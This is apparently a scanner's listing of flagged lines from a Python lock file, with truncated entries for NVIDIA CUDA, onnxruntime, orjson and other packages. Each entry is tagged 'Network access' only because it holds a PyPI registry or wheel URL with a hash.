{ url = "https://files.pythonhosted.org/packages/2e/24/d1558f3b68b1d26e706813b1d10aa1d785e4698c425af8db8edc3dced472/nvidia_cuda_runtime-13.0.96-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7f82250d7782aa23b6cfe76 - Network accessline 1657
name = "nvidia-cudnn-cu13" version = "9.20.0.48" source = { registry = "https://pypi.org/simple" } - Network accessline 1658
version = "9.20.0.48" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1659
source = { registry = "https://pypi.org/simple" } - Network accessline 1662
] wheels = [ { url = "https://files.pythonhosted.org/packages/56/c5/83384d846b2fd17c44bd499b36c75a45ed4f095fbbb2252294e89cea5c5c/nvidia_cudnn_cu13-9.20.0.48-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:e31454ae00094b0c55319d9d15 - Network accessline 1663
wheels = [ { url = "https://files.pythonhosted.org/packages/56/c5/83384d846b2fd17c44bd499b36c75a45ed4f095fbbb2252294e89cea5c5c/nvidia_cudnn_cu13-9.20.0.48-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:e31454ae00094b0c55319d9d15b6 - Network accessline 1664
{ url = "https://files.pythonhosted.org/packages/56/c5/83384d846b2fd17c44bd499b36c75a45ed4f095fbbb2252294e89cea5c5c/nvidia_cudnn_cu13-9.20.0.48-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:e31454ae00094b0c55319d9d15b6fa2fc50a9e1c0f5 - Network accessline 1665
{ url = "https://files.pythonhosted.org/packages/6e/5e/edb9c0ae051602c3ccaffe424256463636d639e27d7f302dde9975ef9e7a/nvidia_cudnn_cu13-9.20.0.48-py3-none-manylinux_2_27_x86_64.whl", hash = "sha256:0c45dd8eeb50b603f07995b1b300c62ffe6a1980482b - Network accessline 1669
name = "nvidia-cufft" version = "12.0.0.61" source = { registry = "https://pypi.org/simple" } - Network accessline 1670
version = "12.0.0.61" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1671
source = { registry = "https://pypi.org/simple" } - Network accessline 1674
] wheels = [ { url = "https://files.pythonhosted.org/packages/8b/ae/f417a75c0259e85c1d2f83ca4e960289a5f814ed0cea74d18c353d3e989d/nvidia_cufft-12.0.0.61-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:2708c852e - Network accessline 1675
wheels = [ { url = "https://files.pythonhosted.org/packages/8b/ae/f417a75c0259e85c1d2f83ca4e960289a5f814ed0cea74d18c353d3e989d/nvidia_cufft-12.0.0.61-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:2708c852ef8 - Network accessline 1676
{ url = "https://files.pythonhosted.org/packages/8b/ae/f417a75c0259e85c1d2f83ca4e960289a5f814ed0cea74d18c353d3e989d/nvidia_cufft-12.0.0.61-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:2708c852ef8cd89d1d2068bdbe - Network accessline 1677
{ url = "https://files.pythonhosted.org/packages/a8/2f/7b57e29836ea8714f81e9898409196f47d772d5ddedddf1592eadb8ab743/nvidia_cufft-12.0.0.61-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:6c44f692dce8fd5ffd3e3df134b6 - Network accessline 1681
name = "nvidia-cufile" version = "1.15.1.6" source = { registry = "https://pypi.org/simple" } - Network accessline 1682
version = "1.15.1.6" source = { registry = "https://pypi.org/simple" } wheels = [ - Network accessline 1683
source = { registry = "https://pypi.org/simple" } - Network accessline 1684
wheels = [ { url = "https://files.pythonhosted.org/packages/3f/70/4f193de89a48b71714e74602ee14d04e4019ad36a5a9f20c425776e72cd6/nvidia_cufile-1.15.1.6-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:08a3ecefae5a0 - Network accessline 1685
{ url = "https://files.pythonhosted.org/packages/3f/70/4f193de89a48b71714e74602ee14d04e4019ad36a5a9f20c425776e72cd6/nvidia_cufile-1.15.1.6-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:08a3ecefae5a01c7f5117351c64f - Network accessline 1686
{ url = "https://files.pythonhosted.org/packages/ab/73/cc4a14c9813a8a0d509417cf5f4bdaba76e924d58beb9864f5a7baceefbf/nvidia_cufile-1.15.1.6-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:bdc0deedc61f548bddf7733bdc216456c2fdb101d020e1ab - Network accessline 1690
name = "nvidia-curand" version = "10.4.0.35" source = { registry = "https://pypi.org/simple" } - Network accessline 1691
version = "10.4.0.35" source = { registry = "https://pypi.org/simple" } wheels = [ - Network accessline 1692
source = { registry = "https://pypi.org/simple" } - Network accessline 1693
wheels = [ { url = "https://files.pythonhosted.org/packages/1e/72/7c2ae24fb6b63a32e6ae5d241cc65263ea18d08802aaae087d9f013335a2/nvidia_curand-10.4.0.35-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:133df5a7509c3e292aaa2b477afd0194 - Network accessline 1694
{ url = "https://files.pythonhosted.org/packages/1e/72/7c2ae24fb6b63a32e6ae5d241cc65263ea18d08802aaae087d9f013335a2/nvidia_curand-10.4.0.35-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:133df5a7509c3e292aaa2b477afd0194f06ce4ea24d714d - Network accessline 1695
{ url = "https://files.pythonhosted.org/packages/a5/9f/be0a41ca4a4917abf5cb9ae0daff1a6060cc5de950aec0396de9f3b52bc5/nvidia_curand-10.4.0.35-py3-none-manylinux_2_27_x86_64.whl", hash = "sha256:1aee33a5da6e1db083fe2b90082def8915f30f3248d5896b - Network accessline 1699
name = "nvidia-cusolver" version = "12.0.4.66" source = { registry = "https://pypi.org/simple" } - Network accessline 1700
version = "12.0.4.66" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1701
source = { registry = "https://pypi.org/simple" } - Network accessline 1706
] wheels = [ { url = "https://files.pythonhosted.org/packages/c8/c3/b30c9e935fc01e3da443ec0116ed1b2a009bb867f5324d3f2d7e533e776b/nvidia_cusolver-12.0.4.66-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:02c2457eaa9e39de20f880f4bd88 - Network accessline 1707
wheels = [ { url = "https://files.pythonhosted.org/packages/c8/c3/b30c9e935fc01e3da443ec0116ed1b2a009bb867f5324d3f2d7e533e776b/nvidia_cusolver-12.0.4.66-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:02c2457eaa9e39de20f880f4bd8820 - Network accessline 1708
{ url = "https://files.pythonhosted.org/packages/c8/c3/b30c9e935fc01e3da443ec0116ed1b2a009bb867f5324d3f2d7e533e776b/nvidia_cusolver-12.0.4.66-py3-none-manylinux_2_27_aarch64.whl", hash = "sha256:02c2457eaa9e39de20f880f4bd8820e6a1cfb9f9a34f8 - Network accessline 1709
{ url = "https://files.pythonhosted.org/packages/5f/67/cba3777620cdacb99102da4042883709c41c709f4b6323c10781a9c3aa34/nvidia_cusolver-12.0.4.66-py3-none-manylinux_2_27_x86_64.whl", hash = "sha256:0a759da5dea5c0ea10fd307de75cdeb59e7ea4fcb8add0 - Network accessline 1713
name = "nvidia-cusparse" version = "12.6.3.3" source = { registry = "https://pypi.org/simple" } - Network accessline 1714
version = "12.6.3.3" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1715
source = { registry = "https://pypi.org/simple" } - Network accessline 1718
] wheels = [ { url = "https://files.pythonhosted.org/packages/f8/94/5c26f33738ae35276672f12615a64bd008ed5be6d1ebcb23579285d960a9/nvidia_cusparse-12.6.3.3-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:80bcc46 - Network accessline 1719
wheels = [ { url = "https://files.pythonhosted.org/packages/f8/94/5c26f33738ae35276672f12615a64bd008ed5be6d1ebcb23579285d960a9/nvidia_cusparse-12.6.3.3-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:80bcc4662 - Network accessline 1720
{ url = "https://files.pythonhosted.org/packages/f8/94/5c26f33738ae35276672f12615a64bd008ed5be6d1ebcb23579285d960a9/nvidia_cusparse-12.6.3.3-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:80bcc4662f23f1054ee334a1 - Network accessline 1721
{ url = "https://files.pythonhosted.org/packages/fa/18/623c77619c31d62efd55302939756966f3ecc8d724a14dab2b75f1508850/nvidia_cusparse-12.6.3.3-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:2b3c89c88d01ee0e477cb7f82e - Network accessline 1725
name = "nvidia-cusparselt-cu13" version = "0.8.1" source = { registry = "https://pypi.org/simple" } - Network accessline 1726
version = "0.8.1" source = { registry = "https://pypi.org/simple" } wheels = [ - Network accessline 1727
source = { registry = "https://pypi.org/simple" } - Network accessline 1728
wheels = [ { url = "https://files.pythonhosted.org/packages/46/e1/cdc1797eadf82d3a9a575a19b33fdc871a97edbec42c00b5b5e914f4aff4/nvidia_cusparselt_cu13-0.8.1-py3-none-manylinux2014_aarch64.whl", hash = "sha256:4dca476c50bf4780d46cd0bfbd82 - Network accessline 1729
{ url = "https://files.pythonhosted.org/packages/46/e1/cdc1797eadf82d3a9a575a19b33fdc871a97edbec42c00b5b5e914f4aff4/nvidia_cusparselt_cu13-0.8.1-py3-none-manylinux2014_aarch64.whl", hash = "sha256:4dca476c50bf4780d46cd0bfbd82e2bc10a08e4fef7 - Network accessline 1730
{ url = "https://files.pythonhosted.org/packages/34/7d/2661f2fb3ac4302f3a246f5fc030213ac60c1fe0bce84f9783dbd831dbb7/nvidia_cusparselt_cu13-0.8.1-py3-none-manylinux2014_x86_64.whl", hash = "sha256:786ce87568c303fadb5afcc7102d454cd3040d75f6f8 - Network accessline 1734
name = "nvidia-nccl-cu13" version = "2.29.7" source = { registry = "https://pypi.org/simple" } - Network accessline 1735
version = "2.29.7" source = { registry = "https://pypi.org/simple" } wheels = [ - Network accessline 1736
source = { registry = "https://pypi.org/simple" } - Network accessline 1737
wheels = [ { url = "https://files.pythonhosted.org/packages/72/0d/daf50d44177ee0cbc7ff0a0c91eb5ff676c82be42f9a970bc7597f440c3a/nvidia_nccl_cu13-2.29.7-py3-none-manylinux_2_18_aarch64.whl", hash = "sha256:674a12383e3c38a1bcccae7d4f3633b3 - Network accessline 1738
{ url = "https://files.pythonhosted.org/packages/72/0d/daf50d44177ee0cbc7ff0a0c91eb5ff676c82be42f9a970bc7597f440c3a/nvidia_nccl_cu13-2.29.7-py3-none-manylinux_2_18_aarch64.whl", hash = "sha256:674a12383e3c38a1bcccae7d4f3633b37852230b6047883 - Network accessline 1739
{ url = "https://files.pythonhosted.org/packages/67/f4/58e4e91b6919367c7aafb8e36fce9aad1a3047e536bf7e2fd560927d3a4c/nvidia_nccl_cu13-2.29.7-py3-none-manylinux_2_18_x86_64.whl", hash = "sha256:edd81538446786ec3b73972543e53bb43bcaf0bfc8ef76cb - Network accessline 1743
name = "nvidia-nvjitlink" version = "13.0.88" source = { registry = "https://pypi.org/simple" } - Network accessline 1744
version = "13.0.88" source = { registry = "https://pypi.org/simple" } wheels = [ - Network accessline 1745
source = { registry = "https://pypi.org/simple" } - Network accessline 1746
wheels = [ { url = "https://files.pythonhosted.org/packages/56/7a/123e033aaff487c77107195fa5a2b8686795ca537935a24efae476c41f05/nvidia_nvjitlink-13.0.88-py3-none-manylinux2010_x86_64.manylinux_2_12_x86_64.whl", hash = "sha256:13a74f429e2 - Network accessline 1747
{ url = "https://files.pythonhosted.org/packages/56/7a/123e033aaff487c77107195fa5a2b8686795ca537935a24efae476c41f05/nvidia_nvjitlink-13.0.88-py3-none-manylinux2010_x86_64.manylinux_2_12_x86_64.whl", hash = "sha256:13a74f429e23b921c1109976ab - Network accessline 1748
{ url = "https://files.pythonhosted.org/packages/ab/2c/93c5250e64df4f894f1cbb397c6fd71f79813f9fd79d7cd61de3f97b3c2d/nvidia_nvjitlink-13.0.88-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e931536ccc7d467a98ba1d8b - Network accessline 1752
name = "nvidia-nvshmem-cu13" version = "3.4.5" source = { registry = "https://pypi.org/simple" } - Network accessline 1753
version = "3.4.5" source = { registry = "https://pypi.org/simple" } wheels = [ - Network accessline 1754
source = { registry = "https://pypi.org/simple" } - Network accessline 1755
wheels = [ { url = "https://files.pythonhosted.org/packages/dc/0f/05cc9c720236dcd2db9c1ab97fff629e96821be2e63103569da0c9b72f19/nvidia_nvshmem_cu13-3.4.5-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dc2a197 - Network accessline 1756
{ url = "https://files.pythonhosted.org/packages/dc/0f/05cc9c720236dcd2db9c1ab97fff629e96821be2e63103569da0c9b72f19/nvidia_nvshmem_cu13-3.4.5-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dc2a197f38e5d0376ad52c - Network accessline 1757
{ url = "https://files.pythonhosted.org/packages/3c/35/a9bf80a609e74e3b000fef598933235c908fcefcef9026042b8e6dfde2a9/nvidia_nvshmem_cu13-3.4.5-py3-none-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:290f0a2ee94c9f3687a02502f - Network accessline 1761
name = "nvidia-nvtx" version = "13.0.85" source = { registry = "https://pypi.org/simple" } - Network accessline 1762
version = "13.0.85" source = { registry = "https://pypi.org/simple" } wheels = [ - Network accessline 1763
source = { registry = "https://pypi.org/simple" } - Network accessline 1764
wheels = [ { url = "https://files.pythonhosted.org/packages/c2/f3/d86c845465a2723ad7e1e5c36dcd75ddb82898b3f53be47ebd429fb2fa5d/nvidia_nvtx-13.0.85-py3-none-manylinux1_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4936d1d6780fbe68db45 - Network accessline 1765
{ url = "https://files.pythonhosted.org/packages/c2/f3/d86c845465a2723ad7e1e5c36dcd75ddb82898b3f53be47ebd429fb2fa5d/nvidia_nvtx-13.0.85-py3-none-manylinux1_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4936d1d6780fbe68db454f5e72a42ff64d1 - Network accessline 1766
{ url = "https://files.pythonhosted.org/packages/a8/64/3708a90d1ebe202ffdeb7185f878a3c84d15c2b2c31858da2ce0583e2def/nvidia_nvtx-13.0.85-py3-none-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:cb7780edb6b14107373c835bf8b72 - Network accessline 1770
name = "oauthlib" version = "3.3.1" source = { registry = "https://pypi.org/simple" } - Network accessline 1771
version = "3.3.1" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/0b/5f/19930f824ffeb0ad4372da4812c50edbd1434f678c90c2733e1188edfc63/oauthlib-3.3.1.tar.gz", hash = "sha256:0f0f8aa75 - Network accessline 1772
source = { registry = "https://pypi.org/simple" } - Network accessline 1773
sdist = { url = "https://files.pythonhosted.org/packages/0b/5f/19930f824ffeb0ad4372da4812c50edbd1434f678c90c2733e1188edfc63/oauthlib-3.3.1.tar.gz", hash = "sha256:0f0f8aa759826a193cf66c12ea1af1637f87b9b4622d46e866952bb022e538c9", size = 185 - Network accessline 1774
wheels = [ { url = "https://files.pythonhosted.org/packages/be/9c/92789c596b8df838baa98fa71844d84283302f7604ed565dafe5a6b5041a/oauthlib-3.3.1-py3-none-any.whl", hash = "sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523 - Network accessline 1775
{ url = "https://files.pythonhosted.org/packages/be/9c/92789c596b8df838baa98fa71844d84283302f7604ed565dafe5a6b5041a/oauthlib-3.3.1-py3-none-any.whl", hash = "sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1", size = 1 - Network accessline 1779
name = "onnxruntime" version = "1.24.4" source = { registry = "https://pypi.org/simple" } - Network accessline 1780
version = "1.24.4" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1781
source = { registry = "https://pypi.org/simple" } - Network accessline 1788
] wheels = [ { url = "https://files.pythonhosted.org/packages/d7/38/31db1b232b4ba960065a90c1506ad7a56995cd8482033184e97fadca17cc/onnxruntime-1.24.4-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:cad1c2b3f455c55678ab2a8caa51fb420c25e - Network accessline 1789
wheels = [ { url = "https://files.pythonhosted.org/packages/d7/38/31db1b232b4ba960065a90c1506ad7a56995cd8482033184e97fadca17cc/onnxruntime-1.24.4-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:cad1c2b3f455c55678ab2a8caa51fb420c25e6e - Network accessline 1790
{ url = "https://files.pythonhosted.org/packages/d7/38/31db1b232b4ba960065a90c1506ad7a56995cd8482033184e97fadca17cc/onnxruntime-1.24.4-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:cad1c2b3f455c55678ab2a8caa51fb420c25e6e3cf10f4c23653cd - Network accessline 1791
{ url = "https://files.pythonhosted.org/packages/aa/60/c4d1c8043eb42f8a9aa9e931c8c293d289c48ff463267130eca97d13357f/onnxruntime-1.24.4-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1a5c5a544b22f90859c88617ec - Network accessline 1792
{ url = "https://files.pythonhosted.org/packages/6d/ab/5b68110e0460d73fad814d5bd11c7b1ddcce5c37b10177eb264d6a36e331/onnxruntime-1.24.4-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0d640eb9f3782689b55cfa715094 - Network accessline 1793
{ url = "https://files.pythonhosted.org/packages/8b/f4/6b89e297b93704345f0f3f8c62229bee323ef25682a3f9b4f89a39324950/onnxruntime-1.24.4-cp312-cp312-win_amd64.whl", hash = "sha256:535b29475ca42b593c45fbb2152fbf1cdf3f287315bf650e6a724a0a1d065c - Network accessline 1794
{ url = "https://files.pythonhosted.org/packages/43/06/8b8ec6e9e6a474fcd5d772453f627ad4549dfe3ab8c0bf70af5afcde551b/onnxruntime-1.24.4-cp312-cp312-win_arm64.whl", hash = "sha256:e6214096e14b7b52e3bee1903dc12dc7ca09cb65e26664668a4620cc5e6f9a - Network accessline 1795
{ url = "https://files.pythonhosted.org/packages/e9/f0/8a21ec0a97e40abb7d8da1e8b20fb9e1af509cc6d191f6faa75f73622fb2/onnxruntime-1.24.4-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:e99a48078baaefa2b50fe5836c319499f71f13f76ed32d0211f391 - Network accessline 1796
{ url = "https://files.pythonhosted.org/packages/8b/25/d7908de8e08cee9abfa15b8aa82349b79733ae5865162a3609c11598805d/onnxruntime-1.24.4-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dc4aaed1e5e1aaacf2343c838a - Network accessline 1797
{ url = "https://files.pythonhosted.org/packages/7f/72/105ec27a78c5aa0154a7c0cd8c41c19a97799c3b12fc30392928997e3be3/onnxruntime-1.24.4-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e30c972bc02e072911aabb689145 - Network accessline 1798
{ url = "https://files.pythonhosted.org/packages/05/fb/a592736d968c2f58e12de4d52088dda8e0e724b26ad5c0487263adb45875/onnxruntime-1.24.4-cp313-cp313-win_amd64.whl", hash = "sha256:3b6ba8b0181a3aa88edab00eb01424ffc06f42e71095a91186c2249415fcff - Network accessline 1799
{ url = "https://files.pythonhosted.org/packages/ad/04/ae2479e9841b64bd2eb44f8a64756c62593f896514369a11243b1b86ca5c/onnxruntime-1.24.4-cp313-cp313-win_arm64.whl", hash = "sha256:71d6a5c1821d6e8586a024000ece458db8f2fc0ecd050435d45794827ce81e - Network accessline 1800
{ url = "https://files.pythonhosted.org/packages/b4/af/a479a536c4398ffaf49fbbe755f45d5b8726bdb4335ab31b537f3d7149b8/onnxruntime-1.24.4-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1700f559c8086d06b2a4d5de5 - Network accessline 1801
{ url = "https://files.pythonhosted.org/packages/be/13/19f5da70c346a76037da2c2851ecbf1266e61d7f0dcdb887c667210d4608/onnxruntime-1.24.4-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4c74e268dc808e61e63784d43f9 - Network accessline 1802
{ url = "https://files.pythonhosted.org/packages/89/db/b30dbbd6037847b205ab75d962bc349bf1e46d02a65b30d7047a6893ffd6/onnxruntime-1.24.4-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:fbff2a248940e3398ae78374c5a839e49a2f39079b488bc64439fa - Network accessline 1803
{ url = "https://files.pythonhosted.org/packages/61/88/1746c0e7959961475b84c776d35601a21d445f463c93b1433a409ec3e188/onnxruntime-1.24.4-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e2b7969e72d8cb53ffc88ab6d4 - Network accessline 1804
{ url = "https://files.pythonhosted.org/packages/5f/ba/4699cde04a52cece66cbebc85bd8335a0d3b9ad485abc9a2e15946a1349d/onnxruntime-1.24.4-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:14ed1f197fab812b695a5eaddb53 - Network accessline 1805
{ url = "https://files.pythonhosted.org/packages/ef/60/4590910841bb28bd3b4b388a9efbedf4e2d2cca99ddf0c863642b4e87814/onnxruntime-1.24.4-cp314-cp314-win_amd64.whl", hash = "sha256:311e309f573bf3c12aa5723e23823077f83d5e412a18499d4485c7eb410408 - Network accessline 1806
{ url = "https://files.pythonhosted.org/packages/7f/6f/60e2c0acea1e1ac09b3e794b5a19c166eebf91c0b860b3e6db8e74983fda/onnxruntime-1.24.4-cp314-cp314-win_arm64.whl", hash = "sha256:3f0b910e86b759a4732663ec61fd57ac42ee1b0066f68299de164220b66054 - Network accessline 1807
{ url = "https://files.pythonhosted.org/packages/cf/68/0c05d10f8f6c40fe0912ebec0d5a33884aaa2af2053507e864dab0883208/onnxruntime-1.24.4-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aa12ddc54c9c4594073abcaa2 - Network accessline 1808
{ url = "https://files.pythonhosted.org/packages/6c/1d/1666dc64e78d8587d168fec4e3b7922b92eb286a2ddeebcf6acb55c7dc82/onnxruntime-1.24.4-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e1cc6a518255f012134bc791975 - Network accessline 1812
name = "opentelemetry-api" version = "1.44.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1813
version = "1.44.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1814
source = { registry = "https://pypi.org/simple" } - Network accessline 1816
{ name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/ee/8b/aa9e2d8b8dfa7c946f7dec5d1f8f6ba8eca062f43509a06bdb5ce93d26c0/opentelemetry_api-1.44.0.tar.gz", hash = "sha256:67647e5e9566edcf421166fdf022b3537 - Network accessline 1817
] sdist = { url = "https://files.pythonhosted.org/packages/ee/8b/aa9e2d8b8dfa7c946f7dec5d1f8f6ba8eca062f43509a06bdb5ce93d26c0/opentelemetry_api-1.44.0.tar.gz", hash = "sha256:67647e5e9566edcf421166fdf022b3537f818635daa852b289e34604dc6fb33a" - Network accessline 1818
sdist = { url = "https://files.pythonhosted.org/packages/ee/8b/aa9e2d8b8dfa7c946f7dec5d1f8f6ba8eca062f43509a06bdb5ce93d26c0/opentelemetry_api-1.44.0.tar.gz", hash = "sha256:67647e5e9566edcf421166fdf022b3537f818635daa852b289e34604dc6fb33a", - Network accessline 1819
wheels = [ { url = "https://files.pythonhosted.org/packages/ca/6f/a04e900f465ff3221ccc395522503e2d10e79fa21f2723c8e177aae1e0d1/opentelemetry_api-1.44.0-py3-none-any.whl", hash = "sha256:94b98c893a91b88657eaac1e3ba89618cdb85be69181967053 - Network accessline 1820
{ url = "https://files.pythonhosted.org/packages/ca/6f/a04e900f465ff3221ccc395522503e2d10e79fa21f2723c8e177aae1e0d1/opentelemetry_api-1.44.0-py3-none-any.whl", hash = "sha256:94b98c893a91b88657eaac1e3ba89618cdb85be6918196705354f34728b2cdef" - Network accessline 1824
name = "optimum" version = "2.1.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1825
version = "2.1.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1826
source = { registry = "https://pypi.org/simple" } - Network accessline 1832
{ name = "transformers" }, ] sdist = { url = "https://files.pythonhosted.org/packages/f0/69/e1e9fe4d54f6b1b90cc278d6da74dd90eb4d9fd9228882886d7c275712e2/optimum-2.1.0.tar.gz", hash = "sha256:0a2a13f91500e41d34863ffdb08fcb886b3ce68a84a386e59 - Network accessline 1833
] sdist = { url = "https://files.pythonhosted.org/packages/f0/69/e1e9fe4d54f6b1b90cc278d6da74dd90eb4d9fd9228882886d7c275712e2/optimum-2.1.0.tar.gz", hash = "sha256:0a2a13f91500e41d34863ffdb08fcb886b3ce68a84a386e59653e3064a45dd4b", size = 12 - Network accessline 1834
sdist = { url = "https://files.pythonhosted.org/packages/f0/69/e1e9fe4d54f6b1b90cc278d6da74dd90eb4d9fd9228882886d7c275712e2/optimum-2.1.0.tar.gz", hash = "sha256:0a2a13f91500e41d34863ffdb08fcb886b3ce68a84a386e59653e3064a45dd4b", size = 1258 - Network accessline 1835
wheels = [ { url = "https://files.pythonhosted.org/packages/4a/98/c409ed937331839fdadc03cef6ebd19982bf3834711134db8898eeb31585/optimum-2.1.0-py3-none-any.whl", hash = "sha256:bc3af32e1236a9b2c2ca1d27ed9d3ab1b6591e24c6bcd47f9671a8198a30e - Network accessline 1836
{ url = "https://files.pythonhosted.org/packages/4a/98/c409ed937331839fdadc03cef6ebd19982bf3834711134db8898eeb31585/optimum-2.1.0-py3-none-any.whl", hash = "sha256:bc3af32e1236a9b2c2ca1d27ed9d3ab1b6591e24c6bcd47f9671a8198a30ea88", size = 16 - Network accessline 1840
name = "orjson" version = "3.11.9" source = { registry = "https://pypi.org/simple" } - Network accessline 1841
version = "3.11.9" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/7e/0c/964746fcafbd16f8ff53219ad9f6b412b34f345c75f384ad434ceaadb538/orjson-3.11.9.tar.gz", hash = "sha256:4fef17e1f - Network accessline 1842
source = { registry = "https://pypi.org/simple" } - Network accessline 1843
sdist = { url = "https://files.pythonhosted.org/packages/7e/0c/964746fcafbd16f8ff53219ad9f6b412b34f345c75f384ad434ceaadb538/orjson-3.11.9.tar.gz", hash = "sha256:4fef17e1f8722c11587a6ef18e35902450221da0028e65dbaaa543619e68e48f", size = 5599 - Network accessline 1844
wheels = [ { url = "https://files.pythonhosted.org/packages/16/6d/11867a3ffa3a3608d84a4de51ef4dd0896d6b5cc9132fbe1daf593e677bc/orjson-3.11.9-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256: - Network accessline 1845
{ url = "https://files.pythonhosted.org/packages/16/6d/11867a3ffa3a3608d84a4de51ef4dd0896d6b5cc9132fbe1daf593e677bc/orjson-3.11.9-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9ef6fe90aadef18 - Network accessline 1846
{ url = "https://files.pythonhosted.org/packages/24/75/05912954c8b288f34fcf5cd4b9b071cb4f6e77b9961e175e56ebb258089f/orjson-3.11.9-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:e5c9b8f28e726e97d97696c826bc7bea5d71cecd63576dba92924a32c19 - Network accessline 1847
{ url = "https://files.pythonhosted.org/packages/ab/86/1c3a47df3bc8191ea9ac51603bbb872a95167a364320c269f2557911f406/orjson-3.11.9-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26a473dbb4162108b27901492546f83c - Network accessline 1848
{ url = "https://files.pythonhosted.org/packages/d7/cf/b33b5f3e695ae7d63feef9d915c37cc3b8f465493dcd4f8e0b4c697a2366/orjson-3.11.9-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:011382e2a60fda9d46f1cdee31068cfc52 - Network accessline 1849
{ url = "https://files.pythonhosted.org/packages/31/6a/6cf69385a58208024fcb8c014e2141b8ce838aba6492b589f8acfff97fab/orjson-3.11.9-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c2d3dc759490128c5c1711a53eeaa8ee1d437f - Network accessline 1850
{ url = "https://files.pythonhosted.org/packages/e8/f8/0b1bd3e8f2efcdd376af5c8cfd79eaf13f018080c0089c80ebd724e3c7fb/orjson-3.11.9-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d8ea516b3726d190e1b4297e6f4e7a86 - Network accessline 1851
{ url = "https://files.pythonhosted.org/packages/f3/59/dab79f61044c529d2c81aecdc589b1f833a1c8dec11ba3b1c2498a02ca7e/orjson-3.11.9-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:380cdce7ba24989af81d0a7013d0aaec5d0e - Network accessline 1852
{ url = "https://files.pythonhosted.org/packages/0e/a4/82b7a2fe5d8a67a59ed831b24d59a3d46ea7d207b66e1602d376541d94a6/orjson-3.11.9-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:be4fa4f0af7fa18951f7ab3fc2148e223a - Network accessline 1853
